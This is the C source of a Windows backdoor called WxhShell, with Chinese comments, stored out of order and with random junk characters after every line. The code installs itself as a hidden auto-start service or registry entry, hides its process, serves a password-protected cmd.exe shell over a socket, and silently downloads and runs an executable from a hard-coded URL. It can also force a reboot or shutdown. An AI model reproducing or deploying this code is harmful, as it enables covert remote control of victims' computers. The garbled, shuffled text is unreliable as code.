    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \U3v5|Q  
    else { ?<` ;lu/eL  
    closesocket(wsh); ~F^tLi!5  
    ExitThread(0); M1icj~Jr  
    } RGL2S]UFs  
    break; fx-8mf3  
    } c'>_JlG~  
  // 获取shell x"n++j  
  case 's': { & 'CUc/,  
    CmdShell(wsh); npd:aGx  
    closesocket(wsh); 15S&,$ 1&  
    ExitThread(0); y 2)W"PuG  
    break; u M\5GK  
  } -xG6J.S  
  // 退出 Bi2 c5[3  
  case 'x': { shR|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UwxszEHC  
    CloseIt(wsh); }<YU4EW  
    break; d_Jj&:"l  
    } Z5 p [*LMO  
  // 离开 h*R w^5,c  
  case 'q': { {a__/I>)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S:XsO9:{  
    closesocket(wsh); 7 =D,D+f  
    WSACleanup(); ,5x#o  
    exit(1); S@'%dN6e  
    break; n.rn+nuwv  
        } nEUUD3a  
  } ps;dbY*s6  
  } %E5b }E#  
16>D?;2o(  
  // 提示信息 P2@Z7DhQ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q^:VF()d_z  
} 5rmU9L  
  } j XH9P q4  
3FtL<7B '.  
  return;  \_  
} p="0Y<2l  
J?dLI_{ <  
// shell模块句柄 ! Sw=ns7  
int CmdShell(SOCKET sock) OIJT~Z}  
{ v$D U q+  
STARTUPINFO si; x5CMP%}d  
ZeroMemory(&si,sizeof(si)); ?% [~J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r ^\(M {  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "X^<g{]  
PROCESS_INFORMATION ProcessInfo; fZj,Q#}D  
char cmdline[]="cmd"; S43JaSw)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); , /%'""`w  
  return 0; <=V{tl  
} `KN>0R2k  
O5aXa_A_u  
// 自身启动模式 @gfW*PNjlP  
int StartFromService(void) lKB9n}P  
{ l^d'8n  
typedef struct >[Wjzg  
{ haY]gmC  
  DWORD ExitStatus; _-lE$ O  
  DWORD PebBaseAddress; =kfa1kD&{  
  DWORD AffinityMask; )|vy}Jf7  
  DWORD BasePriority; s[sv4hq  
  ULONG UniqueProcessId; 14" 57Jt8  
  ULONG InheritedFromUniqueProcessId; J jm={+@+  
}   PROCESS_BASIC_INFORMATION; eZ+6U`^t  
.>eRX%  
PROCNTQSIP NtQueryInformationProcess; XPU>} 4{  
|1 "&[ .  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; EG`6T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k#zDY*kj  
9(J,&)J  
  HANDLE             hProcess; n| {#5#  
  PROCESS_BASIC_INFORMATION pbi; e`S\-t?Z  
v2E<~/|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -iS^VzI|I  
  if(NULL == hInst ) return 0; tj'~RQvO  
\yu7,v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1C8xJ6F  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n."n?C'{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v\5O\ I ^  
W} i6{ Vh  
  if (!NtQueryInformationProcess) return 0; F_(~b  
s*[ I"iE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .whi0~i  
  if(!hProcess) return 0; '9Z`y_~)G  
cZQ8[I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W~0rSVD$<z  
5h&sdzfG  
  CloseHandle(hProcess); aZ4?! JW.  
kqm(D#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O7Jux-E1C  
if(hProcess==NULL) return 0; =`QYy-b X  
uQKQC?w  
HMODULE hMod; OemY'M? ZQ  
char procName[255]; mpug#i6q  
unsigned long cbNeeded; Bd <0}  
t\hnnu`Pq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W06#|8,{v  
Zs />_w}  
  CloseHandle(hProcess); YD'gyP4  
XQ]vJQYIR  
if(strstr(procName,"services")) return 1; // 以服务启动 Q $}#&  
 ce9P-}d  
  return 0; // 注册表启动 xy7A^7Li  
} *: @KpYWx"  
n82tZpn  
// 主模块 a8J AJkFB  
int StartWxhshell(LPSTR lpCmdLine) 2+rT .GFc  
{ }[;ZZm?  
  SOCKET wsl; ?E"192 ,z@  
BOOL val=TRUE; D[/fs`XES  
  int port=0; ?@9v+Am!  
  struct sockaddr_in door; 'RV96lX<  
=S`h/fru  
  if(wscfg.ws_autoins) Install(); Ohk\P;}  
LDc EjFK(  
port=atoi(lpCmdLine); NgDhdOB  
/"8e,  
if(port<=0) port=wscfg.ws_port; |@iM(MM[?  
ID2->J  
  WSADATA data; (vO3vCYeQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]]PNYa  
7b[s W|{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SG)Fk *1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C '( Y  
  door.sin_family = AF_INET; PGJh>[ s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0[l}@K?  
  door.sin_port = htons(port); ZPmqoR[  
J:N(U0U  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <"5l<E  
closesocket(wsl); 94+^K=lAX  
return 1; fA6IW(_bi  
} rJpr;QKf%  
6}TunR  
  if(listen(wsl,2) == INVALID_SOCKET) { y>y2,x+[  
closesocket(wsl); ?Ts]zO%%Z  
return 1; Gk*u^J(  
} IQPu%n{0v  
  Wxhshell(wsl); R^.PKT2E  
  WSACleanup(); &))d],tJX  
ik(Du/  
return 0; %]_: \!  
7H Dc]&z  
} Ojc Tu  
+ +}!Gfc?s  
// 以NT服务方式启动 $Y|OGZH8E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |reA`&<q  
{ !FL"L 9   
DWORD   status = 0; ;#85 _/  
  DWORD   specificError = 0xfffffff; ojy^ A  
i wgt\ux.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e,xL~P{|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z< L2W",  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EfEgY|V0  
  serviceStatus.dwWin32ExitCode     = 0; $pES>>P  
  serviceStatus.dwServiceSpecificExitCode = 0; LL#REK|lm8  
  serviceStatus.dwCheckPoint       = 0; &u2;S?7m  
  serviceStatus.dwWaitHint       = 0; ,p d -hu  
A3a//e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qLmzA@Cv  
  if (hServiceStatusHandle==0) return; m !*F5x  
BYq80Vk%@  
status = GetLastError(); mKZzSd)p  
  if (status!=NO_ERROR) eTa_RO,x  
{ ,ErfTg&^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zWEPwOlI1P  
    serviceStatus.dwCheckPoint       = 0;  O`@Nl  
    serviceStatus.dwWaitHint       = 0; Fa%1] R  
    serviceStatus.dwWin32ExitCode     = status; lnyb4d/  
    serviceStatus.dwServiceSpecificExitCode = specificError; eM<N?9s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *6/IO&y1a  
    return; B>fZH \Y  
  } y0d=  
eA4D.7HDK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,m=G9QcN  
  serviceStatus.dwCheckPoint       = 0; EB[T 5{  
  serviceStatus.dwWaitHint       = 0; N(7 XILC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z\nDR|3  
} A9.TRKb=8  
^O_Z5NbC3  
// 处理NT服务事件,比如:启动、停止 spV7\Gs.@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) msmW2Zc  
{ 3=.YQE0!dx  
switch(fdwControl) n5$#M  
{ /3ohm|!rW  
case SERVICE_CONTROL_STOP: ZM.'W}J{ *  
  serviceStatus.dwWin32ExitCode = 0; ,.<mj !YE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XDY]LAV  
  serviceStatus.dwCheckPoint   = 0; X<%D@$  
  serviceStatus.dwWaitHint     = 0; 1p}Wj*mc  
  { 9hA`I tS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j$)ogGu  
  } !/}3/iU  
  return; pa!BJ]~  
case SERVICE_CONTROL_PAUSE: %+~\I\)1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z5jw\jBD  
  break; TPN+jK  
case SERVICE_CONTROL_CONTINUE: jKq*@o~}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [|Qzx w9  
  break; ).71gp@&  
case SERVICE_CONTROL_INTERROGATE: iww/s  
  break; tJ^p}yxO  
}; Hm2Y% 4i%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q^aDZzx,z  
} YbZbA >|  
0fOhCxtL@  
// 标准应用程序主函数 3k1e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dVbFMQ&  
{ 1@|+l!rYF  
%>m.Z#R(  
// 获取操作系统版本 AQ'%}(#0  
OsIsNt=GetOsVer(); I){4MoH.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a:cci?cb  
J'%i?cuV  
  // 从命令行安装 O <Rh[Aqn  
  if(strpbrk(lpCmdLine,"iI")) Install(); `==l 2AX  
XO <0;9|  
  // 下载执行文件 U ]<l-~|  
if(wscfg.ws_downexe) { y\skke]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "8f4s|@ 3  
  WinExec(wscfg.ws_filenam,SW_HIDE); P6v ANL-B  
} {M**a  
4m0^ N  
if(!OsIsNt) { E=8'!  
// 如果时win9x,隐藏进程并且设置为注册表启动 zy,SL |6:  
HideProc(); *z~,|DQ(A  
StartWxhshell(lpCmdLine); t7]j6>MK3q  
} Y ^+x<  
else kq}byv}3I  
  if(StartFromService()) tpJA~!mG3  
  // 以服务方式启动 w/6X9d  
  StartServiceCtrlDispatcher(DispatchTable); {'IO  
else 11oNlgY&  
  // 普通方式启动 kOydh(yE  
  StartWxhshell(lpCmdLine); r07u6OA  
Xz^nm\  
return 0; ^^b'tP1>  
} 7a"06Et^  
PeJ#9hI~rQ  
nj s:  
^%7(  
=========================================== ]rv\sD`[  
! 6(3Y  
 V9) /  
gc A:Q4  
`]KX`xGK  
-pC'C%Q  
" AT&K>NG  
eAlOMSL\  
#include <stdio.h> \;&;K'   
#include <string.h> &E&~9"^hQL  
#include <windows.h> Blxa0&3  
#include <winsock2.h> od)TQSo  
#include <winsvc.h> &s".hP6  
#include <urlmon.h> zH]oAu=H  
cUR :a @  
#pragma comment (lib, "Ws2_32.lib") ~(R=3  
#pragma comment (lib, "urlmon.lib") 5 bI :xL}  
K%J?'-  
#define MAX_USER   100 // 最大客户端连接数 -.h)CM@L  
#define BUF_SOCK   200 // sock buffer Yz/Blh%V  
#define KEY_BUFF   255 // 输入 buffer ^\ [p6>  
[.}qi[=n  
#define REBOOT     0   // 重启 1$0Kvvg[  
#define SHUTDOWN   1   // 关机 vfkF@^D  
=ANr|d  
#define DEF_PORT   5000 // 监听端口 " aG6u^%  
<U3X4)r  
#define REG_LEN     16   // 注册表键长度 "-&K!Vfs  
#define SVC_LEN     80   // NT服务名长度 y RxrfAdS  
jSp&\Wjb  
// 从dll定义API Qf~>5(,h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M {jXo%C  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uMQI Aapb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e4z~   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D>5)',D8xi  
z206fF  
// wxhshell配置信息 ia5%  
struct WSCFG { vqeH<$WHvy  
  int ws_port;         // 监听端口 *p(_="J,  
  char ws_passstr[REG_LEN]; // 口令 $}&a*c>  
  int ws_autoins;       // 安装标记, 1=yes 0=no c]M+|R5  
  char ws_regname[REG_LEN]; // 注册表键名 cp Ot?XYR~  
  char ws_svcname[REG_LEN]; // 服务名 hL3up]pZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X~r9yl>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 LACrg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o ]*yI[\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no x {NBhq(4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G J%^hr`P  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0Q{lyu  
}h^ fX  
}; 1K9.3n   
v[ iJ(C_  
// default Wxhshell configuration '7'/+G'~&  
struct WSCFG wscfg={DEF_PORT, jF?0,g  
    "xuhuanlingzhe", :TTq   
    1, 1X)#iY  
    "Wxhshell", Tksv7*5$  
    "Wxhshell", ZH Q?{"  
            "WxhShell Service", ')q0VaohC  
    "Wrsky Windows CmdShell Service", `Q*`\-8J  
    "Please Input Your Password: ", JQKXbsXS  
  1, T ~xVHk1  
  "http://www.wrsky.com/wxhshell.exe", (u 7Lh>6%  
  "Wxhshell.exe" 6y^ zC?  
    }; L/u|90) L  
+ay C 0  
// 消息定义模块 LaJvPOQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J&aN6l?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $]|3^(y``  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gCg hWg{S  
char *msg_ws_ext="\n\rExit."; ]H/,Q6Q  
char *msg_ws_end="\n\rQuit."; pb97S^K[  
char *msg_ws_boot="\n\rReboot..."; UCVYO. 9"  
char *msg_ws_poff="\n\rShutdown..."; )xcjQkb  
char *msg_ws_down="\n\rSave to "; VZqCFE3  
:<aGZ\R5  
char *msg_ws_err="\n\rErr!"; !}6'vq  
char *msg_ws_ok="\n\rOK!"; gfggL&t(  
V(TtOuv  
char ExeFile[MAX_PATH]; I">">  
int nUser = 0; .!4'Y}  
HANDLE handles[MAX_USER]; 25OQY.>bE  
int OsIsNt; +t,b/K(?]  
4 ?BQ&d  
SERVICE_STATUS       serviceStatus; e`0C0GaP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XNa{_3v  
z- q.8~Z  
// 函数声明 |cC3L09  
int Install(void); r%;|gIky  
int Uninstall(void); Y7S1^'E 3  
int DownloadFile(char *sURL, SOCKET wsh); dz@+ jEV  
int Boot(int flag); nq_$!aB_K  
void HideProc(void); P.YT/  
int GetOsVer(void); 5mAb9F8@  
int Wxhshell(SOCKET wsl); h!wq&Vi4  
void TalkWithClient(void *cs); zYaFbNi  
int CmdShell(SOCKET sock); Q b^{`  
int StartFromService(void);  GAfc9  
int StartWxhshell(LPSTR lpCmdLine); P.Tnq  
e;vI XJE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]pm/5|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yq.@-]ytZ  
K["rr/  
// 数据结构和表定义 S5JM t;O  
SERVICE_TABLE_ENTRY DispatchTable[] = Qy9_tvq X  
{ :0@0muo  
{wscfg.ws_svcname, NTServiceMain}, _EMX x4J  
{NULL, NULL} ?Q_ @@)  
}; q#j[0,^ $  
?sHZeWZ(  
// 自我安装 P'h39XoZ  
int Install(void) _7N?R0j^9N  
{ <Ch9"1f3,  
  char svExeFile[MAX_PATH]; l'l&Zqd  
  HKEY key; YAXd   
  strcpy(svExeFile,ExeFile); F(1E@xs  
S<(i/5Z+  
// 如果是win9x系统,修改注册表设为自启动 d\qszYP[  
if(!OsIsNt) { EF&CV{Sw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .+>fD0fW7Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fm Yx  
  RegCloseKey(key); GpPM?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i?B<&'G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T ?Om]:j  
  RegCloseKey(key); 7s%D(;W_Mo  
  return 0; uyEk1)HC  
    } QV."ZhL5=  
  } KF&8l/f  
} 9(fh+  
else { O$z"`'&j#  
-)%\$z  
// 如果是NT以上系统,安装为系统服务 >yc),]1~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (w-"1(  
if (schSCManager!=0) K cex%.  
{ *ssw`}yE'  
  SC_HANDLE schService = CreateService C1A  X  
  ( MY{Kq;FvRP  
  schSCManager, "`K_5"F  
  wscfg.ws_svcname, #reR<qp&]  
  wscfg.ws_svcdisp, n$ByTmKxv  
  SERVICE_ALL_ACCESS, 12i`82>;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r7VBz_Q  
  SERVICE_AUTO_START, Jb{g{a/  
  SERVICE_ERROR_NORMAL, #_\**%,<  
  svExeFile, 9V)cf  
  NULL, )*%uG{h  
  NULL, %o9mG<.T  
  NULL, |j"C52Q  
  NULL, $Ud9v4  
  NULL "u^2!d  
  ); HpbwW=;V  
  if (schService!=0) TS#1+f]9J<  
  { =_&,^h@'3e  
  CloseServiceHandle(schService); Z3o HOy  
  CloseServiceHandle(schSCManager); lLVD`)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); R)d_0Ng  
  strcat(svExeFile,wscfg.ws_svcname); 3B[tbU(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { dDiy_Q6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &pl)E$Y  
  RegCloseKey(key); <.g)?nj1  
  return 0; "viZ"/ ~6  
    } xe OfofC(l  
  } @/aJi6d"^E  
  CloseServiceHandle(schSCManager); bHq.3;  
} ,h5 FX^  
} *} *HXE5  
,PpVZq~  
return 1; Y<^Or  
} Up-^km  
?/}IDwuh  
// 自我卸载 /  !h<+  
int Uninstall(void) pV<K=;:x>  
{ )cgNf]oy  
  HKEY key; (| O(BxS  
s4 , `  
if(!OsIsNt) { \B 8j9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &: LE]w  
  RegDeleteValue(key,wscfg.ws_regname); /W>?p@j+K  
  RegCloseKey(key); aIT0t0.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0dx%b677d  
  RegDeleteValue(key,wscfg.ws_regname); @ #J2t#  
  RegCloseKey(key); V#599-  
  return 0; 0XE6H w  
  } JWu0VLo  
} 0(5qVJ12  
} 3#fg 2  
else { b7'A5]X  
cooicKS7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *W=1yPP  
if (schSCManager!=0) Qt"jU+Zoy  
{ ko!]vHB9`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fZs}u<3Q)  
  if (schService!=0) ! j6CvclT  
  { FBi&M Z`  
  if(DeleteService(schService)!=0) { n%2c<@p#  
  CloseServiceHandle(schService); *` -  
  CloseServiceHandle(schSCManager); q%s<y+  
  return 0; O?#<kmd/)  
  } =585TR; V  
  CloseServiceHandle(schService); m,5m'9 dj  
  } 9;gy38.3  
  CloseServiceHandle(schSCManager); 5[6{o$I  
} 4M$"0}O;[h  
}  ^~B#r#  
WYvcN8F  
return 1; f#38QP-T  
} <@>icDFEHn  
gBgaVG  
// 从指定url下载文件 u<\Sf"fs  
int DownloadFile(char *sURL, SOCKET wsh) 2zsDb'r  
{ $*fEgU% c  
  HRESULT hr; TD;u"  
char seps[]= "/"; OS~Z@'Eg  
char *token; BMzS3;1_  
char *file; d^Cv9%X  
char myURL[MAX_PATH]; &x.5TDB>%  
char myFILE[MAX_PATH]; o -x=/b  
MA=gCG/JD  
strcpy(myURL,sURL); H8Ra!FW@  
  token=strtok(myURL,seps); I Yr4  
  while(token!=NULL) F6{Q1DqI  
  { 93)1  
    file=token; VyIM ,glu  
  token=strtok(NULL,seps); /z1-4:^`A[  
  } *6(/5V  
[ { F;4> g  
GetCurrentDirectory(MAX_PATH,myFILE); =dQ46@  
strcat(myFILE, "\\"); rgv$MnG  
strcat(myFILE, file); Wsw/ D  
  send(wsh,myFILE,strlen(myFILE),0); {f6~Vwf  
send(wsh,"...",3,0); gE&83i"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1A7(s0J8 :  
  if(hr==S_OK) !&G& ~*.x  
return 0; %Bnn\{Az  
else 0#sf,ja>  
return 1; bhjJH,%_>  
r*Z p-}  
} pr \OjpvD  
78'3&,+si  
// 系统电源模块  N,ihQB5  
int Boot(int flag) Xj6?,J  
{ s=&x%0f%  
  HANDLE hToken; ! M7727  
  TOKEN_PRIVILEGES tkp; Coe%R(x5  
)k 6z  
  if(OsIsNt) { r[nvgzv@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); O3L:v{Kn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); GZiN&}5e  
    tkp.PrivilegeCount = 1; 0@jhNtL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3jM+j_n R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $Ehe8,=fj  
if(flag==REBOOT) { dEoW8 M#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ' '|R$9\@  
  return 0; r[&/* ~xL  
} /:w.Zf>B9  
else { KFHcHz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) l !R >I7  
  return 0; 78zwu<ET  
} 8{%[|Ye  
  } I|P#|0< 2  
  else { $2v{4WP7G  
if(flag==REBOOT) { Y7@$#/1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]%6XE)  
  return 0; <`=(Ui$fD  
} O&PrO+&  
else { jW.IkG[|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WD'[|s\  
  return 0; m@c\<-P  
} G4K3qD#+H  
} WaDdZIz4  
V53iWWaFe  
return 1; lT- LOu|  
} !-|{B3"6  
fJOA5(  
// win9x进程隐藏模块 &n2dL->*#  
void HideProc(void) R`>z>!)  
{ }woNI  
.5YW >PV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {# TZFB  
  if ( hKernel != NULL ) X2C&q$8  
  { } |? W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a.G;s2>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); OYk/K70l3  
    FreeLibrary(hKernel); uU`Mq8) R  
  } FP h1}qS  
wb (quu  
return; k9o LJ<.k  
} e_t""h4D  
i{nFk',xX  
// 获取操作系统版本 \XgpwvO".  
int GetOsVer(void) %b3s|o3An  
{ JQ"w{O  
  OSVERSIONINFO winfo; L=-v>YL+  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "s rRlu  
  GetVersionEx(&winfo); |7E1yu  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  jf~-;2  
  return 1; @6z]Xb  
  else 8\_YP3  
  return 0; #bdSH)V  
} -ZE]VO*F  
 C\5"Kb  
// 客户端句柄模块 ~BD 80s:f  
int Wxhshell(SOCKET wsl) ZuVucP>>_d  
{ =MokbK2  
  SOCKET wsh; GMYfcZ/,K  
  struct sockaddr_in client; 3Ay<2v  
  DWORD myID; -|3feYb'  
}E](NvCq  
  while(nUser<MAX_USER) $]S*(K3U ~  
{ 85]3y%f9  
  int nSize=sizeof(client); C:@JLZB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H D{2nZT  
  if(wsh==INVALID_SOCKET) return 1; VF] ~J=>i  
u(g0Ob  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); dG*2-v^G  
if(handles[nUser]==0) =?gDM[t^  
  closesocket(wsh); B|6_4ry0U  
else QwgP+ M+  
  nUser++; 3!0~/8!f@  
  } e?)ic\K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6]5e(J{Fz  
)l"py9STF  
  return 0; o[E|xw  
} 6,UW5389  
UU" '  
// 关闭 socket d{G*1l(X  
void CloseIt(SOCKET wsh) 1;N5@0%p  
{ E [b6k&A  
closesocket(wsh); l5esx#([*R  
nUser--; zY&/^^y  
ExitThread(0); !1cVg ls|  
} "kg;fF|  
`78)|a*R.  
// 客户端请求句柄 [5sa1$n96G  
void TalkWithClient(void *cs) s'yT}XQ;r  
{ %Y*]eLT>  
qD<\U  
  SOCKET wsh=(SOCKET)cs; wj#A#[e  
  char pwd[SVC_LEN]; S[5e,E w  
  char cmd[KEY_BUFF]; o!>h Q#h  
char chr[1]; ^ woCwW8n  
int i,j; tunjV1 ,]  
Z@{e\sZ)  
  while (nUser < MAX_USER) { d\A!5/LG  
IIIP<nyc  
if(wscfg.ws_passstr) { =E10j.r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :B"Y3~I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9L9+zs3 k  
  //ZeroMemory(pwd,KEY_BUFF); On4tK\l @  
      i=0; TIre,s)_  
  while(i<SVC_LEN) { Tkf JC|6  
k@/s-^ry3  
  // 设置超时 |w w@V<'/#  
  fd_set FdRead; X6<%SJC  
  struct timeval TimeOut; (,!G$~Sy  
  FD_ZERO(&FdRead); vv5 uU8  
  FD_SET(wsh,&FdRead); y=spD^tM8  
  TimeOut.tv_sec=8; 1^_V8dm)  
  TimeOut.tv_usec=0; "-a CF  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C)xM>M_CB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [/IN820t  
yEB1gYJB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MclW!CmJ  
  pwd=chr[0]; rwSmdJ~  
  if(chr[0]==0xd || chr[0]==0xa) { h k.Zn.6A'  
  pwd=0; |;k@Zlvc  
  break; .P5OUK  
  } T?Y/0znB*  
  i++; 95%QF;h  
    } }{( J *T  
&D*22R4{CX  
  // 如果是非法用户,关闭 socket %1^E;n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;;? Zd  
} T5b*Ia  
/Dk`vn2eN  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1<TB{}b Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /<-@8CC<  
C.Ty\@U  
while(1) { [OK(  
rVF7!|&  
  ZeroMemory(cmd,KEY_BUFF);  %kSpMj|  
ipdGAG  
      // 自动支持客户端 telnet标准   C|hD^m  
  j=0; 1}Mdo&:t  
  while(j<KEY_BUFF) { D3xyJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q@w=Jt<  
  cmd[j]=chr[0]; Tj v)jD  
  if(chr[0]==0xa || chr[0]==0xd) { ]mSkjKw  
  cmd[j]=0; t],5{UF  
  break; Z/~7N9?m(  
  } cH>3|B*y  
  j++; YR/%0^M'0  
    } 6h%_\I.Z[[  
+o[- ED  
  // 下载文件 Bq4^nDK  
  if(strstr(cmd,"http://")) { g886RhCe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I("lGY  
  if(DownloadFile(cmd,wsh)) ZxvBo4>tH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kdr7JQYzuz  
  else Ia!B8$$'RP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Qz412  
  } Y `ySNC  
  else { ?@YABl  
S?K x:]  
    switch(cmd[0]) { %|\Af>o4d  
  |p\vH#6y+  
  // 帮助 pf[m"t6G~  
  case '?': { S&Szc0-|k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bt[Wh@  
